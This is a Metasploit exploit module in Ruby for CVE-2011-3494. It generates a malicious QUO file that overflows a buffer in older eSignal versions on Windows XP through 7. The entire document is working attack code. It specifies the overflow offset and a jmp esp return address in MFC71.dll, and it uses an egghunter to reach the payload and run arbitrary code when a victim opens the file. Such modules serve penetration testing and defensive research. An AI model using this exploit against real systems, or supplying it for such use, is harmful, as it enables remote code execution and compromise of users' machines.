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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'eSignal and eSignal Pro File Parsing Buffer Overflow in QUO',
'Description' => %q{
The software is unable to handle the "<StyleTemplate>" files (even those
original included in the program) like those with the registered
extensions QUO, SUM and POR. Successful exploitation of this
vulnerability may take up to several seconds due to the use of
egghunter. Also, DEP bypass is unlikely due to the limited space for
payload. This vulnerability affects versions 10.6.2425.1208 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Original discovery
'TecR0c <tecr0c[at]tecninja.net>', # msf
'mr_me <steventhomasseeley[at]gmai.com>', # msf
],
'References' =>
[
[ 'CVE', '2011-3494' ],
[ 'OSVDB', '75456' ],
[ 'BID', '49600' ],
[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
[ 'EDB', '17837' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00"
},
'Targets' =>
[
[
'Win XP SP3 / Windows Vista / Windows 7',
{
'Ret' => 0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
'Offset' => 54
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 06 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
])
end
def exploit
eggoptions =
{
:checksum => false,
:eggtag => 'eggz'
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
buffer = rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << rand_text_alpha_upper(4)
buffer << hunter
buffer << rand_text_alpha_upper(1500)
buffer << egg
file = "<StyleTemplate>\r\n"
file << "#{buffer}\r\n"
file << "</StyleTemplate>\r\n"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(file)
end
end